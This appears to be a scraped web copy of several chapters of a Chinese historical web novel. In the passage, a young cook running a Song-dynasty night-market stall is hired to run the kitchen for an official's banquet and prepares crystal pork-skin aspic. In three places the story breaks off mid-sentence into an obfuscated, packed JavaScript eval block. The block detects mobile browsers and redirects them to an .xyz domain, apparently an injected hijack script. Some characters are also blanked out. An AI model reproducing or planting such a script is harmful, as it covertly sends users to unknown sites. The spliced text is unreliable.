“王婶子说她曾经在私塾外头见过你。”柳金枝顾及少年的自尊心,并没有说明了,只摸了摸他的头,“你若是还想去念书,继续考科举,阿姐供你。” 柳霄一怔。 他承认,在那些被逼无奈的日子里,他蹲在柳树下,听着私塾里传来的朗朗读书声,看着私塾中那些摇头念书的学子,心中羡慕、嫉妒、委屈又难过。 明明他与私塾大门只有一步之遥,却苦于缺少束脩,让简单的一步都成为他不可逾越的天堑。 他的所有眼泪和痛苦,无法与年仅两岁的月牙诉说,只能全部咽在肚子里。 白天在被邓山鞭打斥骂的时候,他甚至没由来的恨起了柳金枝。 恨柳金枝为什么不肯带他和月牙走。 但回到药材铺,缩在那方狭窄冰冷又闷不透气的楼梯下隔间,小心哄着饿极了,而哭闹不止的月牙睡觉时,他才明白,其实他恨的不是柳金枝没带走他,而是恨他委屈难过的时候,没有一个温暖的怀抱能暂时圈住他。 他思念柳金枝,思念那个能对他温柔微笑的阿姐。 只是思念太痛苦,他才以为那是恨。 此时感受着头顶传来的温热,柳霄终于没能忍住,红着眼圈说:“想,阿姐,我一直都好想。” 可是不等柳金枝回答,他又擦着眼眶,自己反驳了自己:“不过我现在不想了。” “你别骗我,是不是又想给阿姐省钱?”柳金枝看着柳霄的眼睛。 自从上次柳霄想省钱,而拒绝她买冬衣,打算硬生生扛过整个冬天的时候,她就知道自己这个弟弟是个肯委屈自己的孩子。 这样的性格会使得柳霄隐瞒自己的欲望,将所有需求都退让到他人之后。 如果没有一个懂他的人,这孩子怕是还要受不少委屈。 果然,柳金枝说破柳霄的想法后,柳霄抿了抿唇,低声说:“能省一点是一点,家里本来就不富裕。” “但咱们现在不正在存钱吗?阿姐又年轻,还怕赚不到你的束脩?” 柳金枝对柳霄伸出手,十分认真地说:“霄哥儿,吃苦的日子已经过去了,你不需要再牺牲自己。跟阿姐拉钩盖章,等阿姐攒够五两银子,无论我们的食摊怎样,你都去重新念书,好吗?” 柳霄犹豫着没动手。 柳金枝干脆直接拉过他的手,强硬盖章,随后站起身笑道:“你说过的,阿姐只要不再离开你们,你就信我,什么都听我的。所以这一回,阿姐就替你做主了。” 冬日暖阳撒在柳金枝的脸上,柔和了她的脸部线条,仿佛给她镀上了一层金光。 而她的手还拉着柳霄的手。 柳霄从一开始的松怔,到缓慢而坚定地反握住她的手。 “其实……阿姐就算再离开了,我也会听阿姐的。” “因为阿姐永远都是我的阿姐。” 柳霄抱住了她,神情满足而平和。 就好似当初跟在柳金枝屁股后头,阿姐阿姐叫个不停的孩子,现在重新回来了。 冬风轻拂,枝影摇晃,金乌西移,将每个人的影子向东拉长。 鸡窝封好了顶,钱婶子谢绝了柳金枝递来的铜子,与来柳家门首唤她归家的丈夫一同离去。 王婶子与其他两位婶子也起身告辞。 时间不早,她们也该回家预备一家人的晡食了。 小院子里一下子空落起来,只剩一桌子残羹冷炙。 一家三口与杜卫一同收拾。 月牙还小,以前有柳霄护着,现在又有柳金枝在身边,因此还未失孩童的天真本色。 洗着洗着碗碟,便忍不住玩起水来,将手腕处的衣袖都弄湿了。 杜卫见状,放下手中扫把走过去,先把月牙抱起来放在一边,替她细细地挽起腕上衣袖,才转过身帮她把碗洗了。 “谢谢杜哥哥!” 月牙笑着,小心从自己怀里取出一方小帕子,打开,里头躺着两块甜糕。 “呐,这是甜糕,我请杜哥哥吃。” 月牙掰下一块儿碎甜糕,踮着脚喂给杜卫。 杜卫连忙张口去接,不好意思地笑说:“谢谢月牙,糕很好吃。” 月牙嘻嘻一笑,就蹲在盆边接杜卫手中洗干净的盘子,一双笑眼亮晶晶的,像是春日里的新月。 家中多了一个少年,月牙就像多了一个哥哥一样。 柳金枝笑着收回视线,转身走到膳房,撸起袖子,操起菜刀。 好,为了她开大酒楼的梦想,为了霄哥儿能有束脩科考。 努力做菜! 卤狮头鹅、卤鸡、卤鸭,再来一盆白菜猪肉馅儿,一盆野山蕈冬笋馅儿……还有馉饳、馄饨、菜包、醒好的面团。 在确认过锅碗瓢盆、燎子、炉子以及各类调料瓶都齐全后,柳金枝把这些东西绑在驴车上,叫上弟妹还有杜卫,一块儿出发去了夜市。 汴京城的繁华夜市从晚上六点就开始了。 柳金枝到时,旁边卖焦碱水锥的胖婶子已经现做了好几个,卖杂嚼的清瘦男人也早早摆上了卖品,开始吆喝食客。 柳家也不敢耽误,连忙把东西都摆出来。 月牙照旧站在食摊前高声吆喝:“看一看咯,看一看咯,柳氏食摊的卤味又上新咯!” 前一天晚上没买到卤味的食客们,听到吆喝声后,很快就围了过来。 不过因为夜市还没到最高潮时,这些客人也不多,零星两三个,零零散散坐了两桌。 杜卫看生意不忙,就挑着食篮道:“东家阿姐,昨个儿我送了粥去,那两位娘子说他家大姐用膳很慢,叫我今天再去拿砂锅。我现在就去吧。” 就是城北钦天监司正一家。 柳金枝本来还在想,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490456|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位大姐喜不喜欢她做的老菜脯砂锅粥? 若是不喜欢,杜卫这一去不是要挨一顿臭骂? 也就嘱咐道:“去吧,但说话要小心些,他家不是什么好相与的,若是见他们脸色不对,你就赶紧避开,不要与他家起口角冲突。” “我晓得的。”杜卫一笑,“他家若是骂我,我就当没听到。耳边吹过一阵臭风,熏一熏就过去了。” 柳金枝见杜卫机灵,也就安心让他去了。 剩下的柳霄补上杜卫的位置,帮着月牙一起收拾碗碟。 等到月亮高悬的时候,夜色深沉,夜市也迎来了人潮汹涌的时刻。 一波又一波的食客涌向柳氏食摊,要馄饨的,要蝌蚪粉的,要卤味的,各自要求都有。 柳金枝三人忙活不开,脚不沾地,好几次都险些撞在一起。 可这时还不见杜卫回来。 柳金枝擦了把汗,一边应付食客,一边又时不时往远处观望。 “柳娘子,你瞧什么呢?”一位食客笑道,“给我盛碗蝌蚪粉吧。” 柳金枝只好收回视线,道:“好嘞,您稍等。” 手脚利落地把面糊压出来,淋上料汁递给食客,耳边却又传来一声:“柳娘子,我有一桩生意要与你做。” 柳金枝还以为又是哪位食客要吃食,口中连连答应“好说好说”,一面抬起头来。 只见面前站着的却是昨个儿夜市里见到过的傲气少女,旁边正站着抱起砂锅的杜卫。 柳金枝疑惑道:“这是?” 今日再见,比起昨日,少女的态度好了不少,先是对着柳金枝款款一福身,眉眼带笑,道:“柳娘子,昨个儿我家大姐用了你煲的粥,说吃着甚是爽利。正巧昨夜我家夫人来看望大姐,也陪着用了些,也觉得娘子手艺绝佳。大姐一时高兴,就向夫人求了个恩典。” “什么恩典?” 少女递过来一封请柬。 柳金枝一边拆开细看,一边听少女说: “我家老太爷是庚戌年生人,到今年二月初正好做六十大寿。” “老爷的意思是想要大办一场,为邻里街坊做三天三夜流水席。家里头在做一场宴席,只请亲近好友。” “这做流水席的膳工,府上已经找到了人选,家中宴席却还不知选谁好。夫人本想去请几家酒楼的掌勺膳工,但我家大姐向夫人求了恩典,想请娘子您去主持四司六局。” “夫人向来最疼大姐,也就答应下来。又知道娘子手边还有个食摊,停工来府内帮忙一天也有损失。” “所以夫人愿意在聘请膳工的基础薪资上,再给您加两钱,以做弥补之费。” 基础薪资,还额外加两钱?! 被一笔大订单猛然砸在头上,柳金枝还有些发懵,转过头问柳霄,道:“霄哥儿,你知道主持四司六局一日的工费是多少吗?” 柳霄回过神来,连忙操起算盘。 片刻后,他缓缓道:“至少十贯。” 一贯,一千文。 十贯的话…… 柳金枝两眼发亮,难掩兴奋:“霄哥儿,你可以科举啦!” 23. 四司六局 四司六局的承办者被宋朝人尊称为“局长”。 虽然放到现代来说,所谓“局长”可能就是村庄里头,带着一整套炊具物什,去承包人家红白宴席的大厨子,只管做菜,其余不论。 但是在宋朝,“局长”能发挥很大的作用。 宋朝的四司六局单拎出来能够成立一整个行业。 而只管行业之下,这六局又可以细分为“果子局”,即专门承包宴席上的果盘。“蜜饯局”,即专门承包宴席上的蜜饯。“菜蔬局”,专门承办荤素大菜。 “油烛局”就是专管晚上宴席的照明,和冬日宴席的取暖。“香药局”则是专管收拾香炉,和为喝酒喝过头的客人提供醒酒药。 另外管插画、挂画以及擦桌子、抹板凳等清洁和装饰工作的被称为“排办局”。 六局之外就是四司:厨司、茶酒司、账设司和台盘司。 只通过名称,也能大概猜出这几司分管什么。 一般来说,四司六局都是宫里头才能用得上的。 但宋朝士大夫阶级格外受优待,再加上宋朝很乐意给文人补贴,所以到了宋朝后期,只要是能出得起价钱的人家,都可以在家中摆起四司六局。 有了这些人的帮忙,主家确实能减少许多承办宴席的麻烦。 只不过经过百年光阴过迁,到了现代,四司六局的习俗被人逐渐简化,以至于遗忘。 现在还能存留的,大概就是承办后厨配菜和烹饪事宜的“厨司”,以及现代农村红白宴席里头最常见的,管请客送客,登记亲友人情往来,和点歌台人情的“茶酒司”了。 值得一提的是,这四司六局,每一司,每一局,都各有一个主持人,并非是一人统筹管理全部。 柳霄所说的“至少十贯钱”,其实也是这整个四司六局共同分摊下来的钱。 就是钦天监司正是个肥差,家里人出手阔绰些,又想大操大办,摆大排场,所以请四司六局的银子能出到二十贯。 平分到这十个主持人身上,就是每个两贯钱,也就是两千文。 但柳金枝已经满足了。 要知道宋朝的县令一年的俸禄也才十贯呐。 于是立马答应下来,又与少女确定了具体过府的时候,即是一月末,二月初。 司□□上先付定金,大寿做完再付剩下的一半。 柳金枝忙不迭地点头答应,态度恭敬有礼地送走了少女。 柳霄、月牙和杜卫三个,也都跟着有样学样地对着少女行礼。 等到少女的背影再也看不见了,几个人才互相对视一眼,嘴角再也压抑不住地笑作一团。 旁边的食贩们自然也听见了这一喜事,除却嫉妒、羡慕,剩下的便全是恭喜: “恭喜恭喜,娘子这回可是接了笔大生意。” “娘子好手艺,这生意怕是要越做越红火了。” “司正家的局长,说出去便是金字招牌啊。” …… 御街上的食摊本就是一个挨着一个,柳氏食摊接了“司正家四司六局的邀请”一事,一传十、十传百,很快就传的众人皆知。 连街对面的蔡老都知晓了,还特意走过街来与柳金枝贺喜,并且又给了柳金枝一个红封。 柳金枝连忙推辞,道:“蔡老,这可使不得。” “娘子收下吧。这红封一是祝贺娘子生意红火,二是谢谢娘子那天做的一尾鱼,解了老朽的难。”蔡老笑道。 柳金枝道:“我虽为蔡老做了鱼,可您也早就谢过了,怎得又封红利给我?” “我早该跟娘子说的,却因为这两日生意忙,一直没来得及开口。” 蔡老笑道:“柴相公的夫人十分爱娘子做的鱼,她孕中一直不思饮食,那天倒是破例多吃了半碗红梗米。柴相公一时高兴,就封了一钱银子给我。按理说,应有一半是娘子的,我这便封来了。” 想来这位柴相公是格外疼爱夫人了,就连夫人多吃了半碗米都高兴成这样。 柳金枝就把红封收下,福身笑道:“那我就不推辞了。” 了了心事,蔡老才回了饭馆。 一钱银子的一半便是五十文,加上今日做夜市赚得的钱,竟然五百文有余。 一家人回家之后,照旧排除下一月的成本,将净赚所得尽数放入了高粱酒坛子中。 柳霄见一日夜市下来赚的不少,就道:“阿姐,不如你教我做些简易菜式吧。等阿姐去司正家里主持四司六局,我就可以帮阿姐看摊子了。” 能多赚一点是一点,谁能嫌银子多呢? 其实柳金枝的想法与柳霄不谋而合。 毕竟现在才一月中旬,离约定的二月初还有半月时间有余,柳霄又不笨,努力学的话,蝌蚪粉、馄饨、馉饳一类的吃食肯定能学会。 也就欣然答应:“好。” 于是半月内,一家人就在安安分分做夜市,勤勤恳恳学手艺的时光中度过了。 直到约定那天,司□□派了一位丫头来接引柳金枝进府。 都说佛靠金装,人靠衣装,今天好歹是要外出见大客户,穿着不可再像以前做夜市一样随意。 于是柳金枝在衣箱中翻找一通,翻出来一件以往在秦淮时,原主省吃俭用买下的衣着,小心地穿在身上。 上衣穿的是天青色折枝芙蓉花罗上襦,外搭一件茜红色素绢衬衣,套一条茜红色印花纱百迭裙,外头再批一件白色印花纱披帛。 将一头如瀑青丝松松挽起,于顶上结成一个双髻。因为没有多余的首饰,发髻上就只插了一根素木簪子。 却因为柳金枝容貌清丽温婉,倒显出一种清水出芙蓉,天然去雕饰的美感。 叫月牙几个都看得愣住了。 柳霄回过神来,有些遗憾道:“若阿姐也能戴上那些金钗银簪珠玉步摇,就算是天下的仙女下凡也比不过阿姐的颜色。” 但是现在那头青丝上插着的,仅仅是一根木簪子。 就是平民人家都有两支银首饰呢。 阿姐却没有。 柳霄眼神中划过一丝心疼。 柳金枝却笑道:“我的天爷啊,今日只是去人家司□□才穿的讲究些,若叫我日日这般穿着,炒菜剁肉时几多不方便,可要累煞人了。” 正说着,司□□来的小丫头探头进来问:“柳娘子可好了?莫误了好时辰。” “诶,好了,走吧。” 柳金枝应了声,告别弟妹并杜卫三人,随着小丫头坐着驴车往城北司□□去了。 都说城南贱而城北贵。 司□□坐落在城南,就足可见其底蕴之厚。 更别提柳金枝到时,抬眸一看,就见一座恢宏宅院静静矗立在街道旁,门口两个硕大威武的石狮子瞪圆了眼睛,气势不凡。 那朱红色镶嵌九派金珠的木质大门前,分左右站立着两名门童,每个都眼观鼻,鼻观心,谨慎的紧。 但此处大门紧闭,只有一处侧门开着。 只要是有人往来,都是从侧门进出。 柳金枝和小丫头也是从侧门进。 小丫头在前头引路,走过几条回廊,又拐过几处假山,经过一座冰雪初融的庭院,才到了司□□的后院。 而此时,后院已经站了九位中年男女。 男的皆是穿一身或浅灰,或白,或浅蓝的棉布襽杉,头戴一顶黑纱东坡帽,脚蹬长靴。 女的则和柳金枝一般打扮,只是都是梳作妇人发髻,戴有竹编刷漆的轻巧团冠,发髻间或插戴有玉梳,和珍珠点缀的发饰。 比起柳金枝的朴素和年轻,这些人倒更像是富贵人家请来主持大局的局长、司长。 因此,当柳金枝在人群中站定时,身上顿时落了不少目光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494667|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有个中年刻薄妇人忍不住嘀咕了一句:“哪有年轻娘子来做膳的?还生的如此艳丽,怕不是与这主家有些首尾吧。” 旁边立即有人拉她,小声道:“钱娘子慎言,听说这位娘子是司正家的大姐亲自保举的。再怎么说,人家清清白白的大姐怎得都不会做牵头,当马百六。” 钱娘子一听,居然还是个上头有关系的,顿时闭了嘴。 柳金枝顿时仰首挺胸,把个底气表现的更足。 她也算是有大人物保举的。 上头有人! 这气势不能输。 柳金枝清咳两声,端端正正对着最前头的一个嬷嬷福身,字正腔圆道:“奴唤柳金枝,是厨司司长。” 嬷嬷见她不卑不亢,笑着点点头,道:“最后一位柳娘子也来了,咱们这四司六局也就齐了。” 尔后一挥手,自有十个小丫头捧着一册单子递给每个局长、司长。 茶酒司拿到的单子是司□□夫人拟定的,要邀请过府一叙的宾客名单。 排办局拿到的单子是司□□府内,大小摆件、挂画、花瓶等等摆件的名册。 柳金枝作为厨司司长,拿到的自然是司□□夫人拟定的菜单,以及府内众人和过府宾客们的忌口。 她只是展开来粗略看了一眼,就被上头密密麻麻的小字给震的头皮发麻。 简直是条条框框,事无巨细。 最细致的,甚至能精准到某一位大人喜好的是中辣,还是特辣。 难怪做四司六局赚钱多,原来都是辛苦钱啊。 “诸位都是夫人定下请来的局长、司长,专负责咱们府内寿宴的筹办。有些个是早年来做过的,还有些个是头一回,所以老奴这会子就多说两句。” “如今咱们府里头管事的是夫人,她爱奢华,所以你们办事都不要存心省钱。就比如排办局的,都挑拣些富贵的摆件出来待客,不够的就支了银子去买,万不可拣些次货出来,丢了司□□的脸。” “又说厨司也是一样,无论什么菜,食材都要挑拣又贵又好的来。银子不够了,同样来支取。只要将菜做的漂亮,就是花上十几二十贯也不打紧。” 又抬手叫出来五六十个丫头。 “这六十个丫头分做十班,供各位局长、司长们支使。若她们有和你们顶了嘴的、偷了懒的,你们也别管她们是有脸的,还是没脸的,一律告诉老奴,老奴按规矩清白处置。” 这个嬷嬷训话的时候,整个后院里头鸦雀无声,落针可闻,可见这个嬷嬷平日里积威甚重。 柳金枝耐心听完后,才抬头去看被分配给她的六个丫头。 从十岁到十六岁的都有。 但是年纪太小的,柳金枝也不能指望她干什么重活。 便又将这六个丫头分作三班。 指着十岁的两个小丫头说:“你们两个专管洗菜,摘菜,其他的不用管。” 指着十六岁的两个丫头说:“你们两个专管拨弄柴火、挑水,其他的不用管。” 还剩下两个十四五岁的丫头,柳金枝问道:“你们两个谁识字?” 这两个丫头对视一眼。 其中一个眼睛圆圆,脸蛋红红,尚未褪去青涩婴儿肥的丫头怯怯举起手,道:“回娘子的话,奴识得几个字,是奴阿爹教的。” “你叫什么名字?” “奴姓花,叫花吉团。” 柳金枝一笑,点了花吉团过来,道:“好,那你就专门负责帮我核对菜单,每端出去一盘菜,你就在单子上画个圈。” 花吉团乖巧点头。 而剩余的那个丫头,自然就是来回端菜和跑腿传话的。 其余的局长、司长也给丫头们细分了活计。 万事俱备。 嬷嬷道:“今个儿下午宾客们就要过府开席,现在该是诸位忙活的时候了!” 24. 皮冻水晶脍 时间紧,任务重。 众人几乎是立即分散。 柳金枝带着花吉团等六个丫头直奔膳房。 比起柳家旧宅的膳房,司□□的膳房又大又整洁又气派,光是灶台就开了四五个,各种厨具还细分小锅、大锅,砂锅、铁锅……简直要叫人挑花眼。 柳金枝挑了口双耳铁锅架在灶台上,菜蔬局的局长就带着两个身形魁梧的粗使婆子,挑着两三担菜蔬,并一水盆的鲜鱼,和各类鲜肉走了过来。 “柳娘子,这是我菜蔬局今日送的第一拨菜,请过目。”菜蔬局局长福身道。 柳金枝连忙上前清点。 确认无误之后,双方交接对账,签字画押。 柳金枝转过头对专管洗菜、摘菜的两个丫头吩咐道:“快去将这些菜蔬洗了,再去挑两口青花瓷底的亮堂盘子。” 她第一道菜要做的是“皮冻水晶脍”。 这道菜可谓是宋朝腊月份的必备菜品,无论是高门大户,还是平民百姓,都对此情有独钟。 然而水晶脍到底是什么? 是水晶吗? 不是。 它是一种如水晶般晶莹剔透的菜肴。 做法不算难,可就是极其耗费功夫。 柳金枝在菜蔬局送来的一众菜品之中挑挑拣拣,挑出来一块儿品相上好、新鲜肥美的猪肉。 “水开了没?”柳金枝问。 专管烧火的丫头道:“回娘子的话,已经滚了。” 柳金枝点点头,将猪肉简单洗净血水后,放到滚水里泡透。 沸腾的开水将猪肉整个吞没,尚带有一两丝血色的肥肉由鲜嫩模样逐渐褪色,表面的猪皮朝两头翘起,似是卷了起来。 眼瞧着时候差不多了,柳金枝拿过铁笊篱将猪肉捞起来,反扣放于砧板上。 热气蒸腾之下,一股浓厚的,略带臊气的猪味儿扑鼻而来,间或夹杂着的还有一股未掺杂任何调料,原汁原味的熟肉香气。 这种肉被称之为白肉。 有口味独特的食客就好这一口,不加盐以及任何调料,单单用白水煮熟就能吃。 不过柳金枝煮这猪肉不是为了吃,而是为了脱毛。 猪毛难脱,特别是哪些小细毛,在生肉状态下更是难刮。 所以有经验的膳工都会选择把猪肉煮熟,沸水浇灌之下,这些细小猪毛就变得稀软易脱落。 柳金枝拿剔骨刀利落下手,将细毛脱了个干净。 再片掉肉身上多余的肥膘,将其切成长条,放到加满凉清水的盆里浸泡。 “端两个蒸笼来。”柳金枝招呼两个跑腿的丫头。 那两个丫头生的手大脚大,干活十分利落,不一会儿就从膳房里头翻找出一只三层加盖的大蒸笼,两人合力架在了喷火似的燃烧的灶眼上。 柳金枝取下盖子,将水盆放入蒸笼的最上头。 这一步就是要借助滚烫的蒸汽把猪肉蒸到化掉。 但要想达到这个效果,即使是放在最顶层,也需要足足一个时辰。 在这个过程中,柳金枝让一个管火丫头看着火,自己去库房里头翻出了条干净纱布,以及各色调料一麻袋,都提到膳房来。 宋朝人做鱼冻是很有一手的,他们在将肉蒸化之后,可以通过撇去脂肪的多少,来控制皮冻水晶脍的透明程度。 脂肪撇的越多,水晶脍就越晶莹剔透。 如果想要追求如水晶般毫无杂质的透亮模样,就将脂肪全部撇去。 若把一道水晶脍做到极致,据说可以媲美稀世水晶,光泽万丈,莹润无比,好似涎玉沫珠。 当然,这只是古人的夸张说法。 柳金枝在钻研宋代美食食谱之后,认为如果水晶脍能做到如素海蜇皮一般剔透明亮,就已经能算最好的水晶脍了。 在反复往锅中加了三道水后,一个时辰已过。 两个烧火丫头把蒸笼盖子打开,合力搬出水盆。 那水盆已经被蒸的滚烫无比,甫一拿出,就在春寒料峭时节吞吐着大量白色滚烟蒸汽,模糊人的视线。 一众丫头赶忙拿手去扇。 拨开浓雾,方才见水盆里头的猪皮大部分都已化尽,成了半清不浑的肉汤,还剩下一些怎么也蒸不化的老皮,尚且或浮或沉埋在肉汤之中。 柳金枝拿出事先准备好的,网孔细密小巧的铁笊篱,将这些老皮碎肉全部捞出来扔掉。 再将整水盆的肉汤端起来,倾倒入第三口灶眼上架着的铁锅当中。 这回就不用大火烹煮了,只需小火慢炖。 一边炖,一边再用小铁笊篱将时不时顺着滚烫水泡冒出头的杂质捞出、扔掉。 如此重复这个过程大约半个时辰,就可以停火。 这时候肉汤虽然彻底没有了杂质,可依旧浑浊。 于是柳金枝让那两个烧火丫头连同自己一起端起铁锅,将锅内肉汤倒入早就布置好的细纱布中过滤。 过滤过的汤汁顺着细纱布流入洗干净的水盆中。 等到铁锅内的最后一滴肉汤也倒完,白净的纱布上已经停留了一层看起来肉渣不像肉渣,黏黏腻腻的褐色肉泥状的东西。 这些就是被过滤掉的猪肉脂肪。 水盆里的肉汤已经变的干净清澈了。 这时候,柳金枝叫丫头把她要的,一口青花瓷底的亮堂瓷盘拿过来,将水盆里的肉汤倒入瓷盘之中,任由它自然冷却。 若是天气稍微暖和的时候,这般冷却时间差不多要半日。 但现下春寒料峭,正是凛冬将去未去之时,这皮冻的冷却速度更快,只消得一两个时辰,就已经冻成了形。 像一块倒扣于盘上的凉粉。 有好奇的丫头蹲下来从这皮冻的左边往右边看,却发现她的视线可以轻而易举的穿过皮冻,看清对面事物,不由面露惊奇之色。 果真是玲珑剔透,如珠如琉璃。 其实此时皮冻水晶脍还没完全做好,还差最后一步—— 由柳金枝这个司长亲自操刀,将这块皮冻切片摆盘。 可千万不要小瞧了这一步,因为这是对膳工刀法的极大考验。 若是切得厚了,淋上料汁时就无法入味。 若是切得薄了,食客用筷子一夹就散,无法入口,既影响口感,又影响卖相。 柳金枝甩了甩手腕,放松了一下,才谨慎地操起刀,对着皮冻切去。 一片、两片、三片…… 柳金枝的手稳的不可思议,以至片下来的每一片切片,都恍若水晶一般静静躺在盘中。 府内虽宴请的客人不多,但也有十桌。 因此,柳金枝需要切出十盘皮冻水晶脍出来,而且最好是大小、薄厚都无甚差别。 但这怎么可能做到? 只是柳金枝从容沉稳,好似胸有成竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504589|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这般自信感染了其他人,叫膳房里的丫头们,送菜来的伙计们,都不由屏住呼吸,紧紧盯着柳金枝的动作。 当最后一刀落下,柳金枝的手腕极富技巧性地一抖,将一片薄厚均匀的水晶脍飘然送入盘中。 十盘水晶脍切好,形状、大小、薄厚几乎一模一样! 在场众人不禁发出一声小小的惊呼:“柳娘子真神了!” 但是柳金枝依旧稳住表情,将食盐、米醋、芥末和花椒油伴在一同精心调制,淋在这十盘一模一样的水晶脍上。 当料汁缓缓渗透进水晶脍身的时候,柳金枝又从菜篮中寻出几朵青葱香菜,掐来叶尖,点缀似地摆放在每盘水晶脍的最上头。 青翠欲滴的颜色、晶莹剔透的水晶脍身,再映衬着盘底的青白花瓷,以及亮晶晶的料汁。 这皮冻水晶脍简直看的人食指大动。 思及离下午的宴席还有一段时间,柳金枝叫来两个小丫头,将这十盘水晶脍端起来,暂时放在院子里的雪堆上去。 因为水晶脍虽然华丽精致,却不好保存,温度一高就容易融化。 为了让宴席上的所有食客都吃到最新鲜的水晶脍,柳金枝不得不利用现在的天气,让这个天然的大冰箱帮忙冻住水晶脍的鲜味儿。 柳金枝露了这一手,那些丫头们个个佩服又敬畏,像是端珍宝一样,将这十只青花瓷盘子端去了院子里。 十个人成一行,鱼游入海般成一条直线出了膳房门。 却不想这般景象正好叫几位远从游廊下走来的郎君瞧见。 其中一位穿墨青长袍,外批玄色大氅,眉眼俊美的男子笑道:“李兄,你家做膳倒是有趣儿,怎得把这些盘子都摆在院子里?我从未见过。” 被唤作李兄的人耐心解释道:“长姐近段时间饮食不振,只爱一位膳工娘子的手艺,因此求了母亲让她入府做厨司。那位娘子从民间来,想必是有些我们不知道的手艺。” “原来是这样。”柴靖略略点头,“民间确实有诸多高手,我夫人孕期不思饮食,却独独爱吃一处民间饭馆的鱼。” 又扭头看向身边一位金质玉相般的年轻郎君,“霁景,不如咱们在宴席散后再去那蔡氏饭馆一趟吧,你阿姐近日来又想着吃鱼了。” 傅霁景点点头。 李兄则道:“往日二郎埋头苦读,整月都不见得出门一步。怎得如今春闱临近,反倒肯出门了?” 傅霁景温和笑道:“苦读不过是为了将书本读透,一切条理烂熟于心。如今春闱临近,人心躁动,再埋头苦读反而无益。不如趁着末冬景色出门行走,权当舒展心胸,说不定更好。” “确是这么个道理。”李兄笑着拱手,“往日老师总赞二郎的文章‘文质无双,风骨凛然’,尔今二郎又不急不躁,从容雅致。若我不提前预祝二郎榜上有名,一举夺魁,倒显得我有眼无珠了。” 这话打趣味儿甚浓,几人都是一笑。 傅霁景笑意克制轻微,眉眼温和。 只是余光之下,他却瞥见有一抹熟悉的影子一闪而过。 下意识抬起眼眸瞧去。 只见一少女低头钻出膳房,身姿纤细窈窕,眉眼清丽动人,一双眼眸清亮有神,红扑扑的两颊,显得无比鲜活生动,好似生机盎然,气血满满。 “你等下!”少女嗓音脆生生的,带着嗔意,“我要的八个厚胎黑釉素瓷碗碟怎得还不拿来?” 25. 八味珍馐 被柳金枝问到的丫头赶忙道:“回娘子的话,台盘司的司长娘子说,有几位好茶的宾客已经过府坐下了。府上但凡一些好的厚胎黑釉素瓷碗碟,都被台盘司的呈上去,供这几位宾客斗茶去了。” 都说唐人煮茶,宋人点茶,今人冲茶。 宋朝人对点茶的热爱绝不逊于对美食的喜欢。 茶、茶碗、点茶师傅。 都有很高的要求。 今人大多喜欢一些胎薄、釉白、半透明的浅口小茶碗,觉得更显风雅。 但宋人偏偏爱一类从建州窑出产的胎厚、釉黑、造型古朴,看起来十分笨重的高口茶碗。 因为这类茶碗耐高温、导热满,特别适合点茶。 而且宋朝最好的茶汤都是乳白色,用黑釉碗,才更能显出茶汤的乳白,也更能凸显点茶师傅手艺的高超。 可是柳金枝接下来要做的这道“八味珍馐”,也要用到黑釉碗。 这下可糟了。 柳金枝挠挠头,正想亲自去与管家嬷嬷商量,支一笔银子去外头临时买八个黑釉碗回来,一扭头,却见一名眉眼俊逸温和的年轻郎君站在廊下,正拢袖而立,浅笑晏晏地瞧着她。 “傅、傅……恩人?”柳金枝磕巴了一下。 她倒是没想到居然能在司□□的宴席上看见傅霁景。 但转念一想,傅霁景身份贵重,能出现在这里也不奇怪。 傅霁景对柳金枝叉手一拜,歉意道:“吓到柳娘子了,是在下唐突。” 柳金枝摆摆手,觉得傅霁景好似客气的有些过分。 “唔……”傅霁景沉吟了一下,慢吞吞地开口,“上次在船上得蒙娘子做了半个月的吃食,却未能当面致谢,还望娘子莫要见怪。” 柳金枝颇为尴尬地笑笑。 心想这都是上上个月的事儿了,傅霁景倒不必记得这样清楚。 而且这半个月她做菜用的是傅霁景的食材,最后还得了傅霁景三两银子,怎么算,都不能说是傅霁景失礼吧。 便道:“傅恩人当真不用这样客气,我也只是报恩。” 她现下一门心思担忧着那八个碗碟呢,倒没有时间和傅霁景在这里搞这套‘你谢我,我谢你’的繁文缛节。 也就快速开口:“恩人,膳房油烟很重,会熏到你的,不如往前堂去,哪儿雅致,是恩人该去的去处。” 毕竟他俩身份一个天上,一个地下。 站在一起聊久了不合规矩,也对柳金枝不太好。 柳金枝对傅霁景福身一礼,转身便走。 这般毫不犹豫,怕是不一会儿就要像那天一样没影了。 傅霁景不由抿了抿唇瓣,缓缓道:“……其实,我手中就有一套厚胎黑釉碗碟。” 柳金枝:??? 虽然现在去找管家嬷嬷支银子买也来得及,但买哪儿有顺手快? 柳金枝果断道:“多谢恩人,请问碗碟在何处?” 傅霁景对一名家仆耳语几句,不一会儿,杏安就将成套的碗碟送来了。 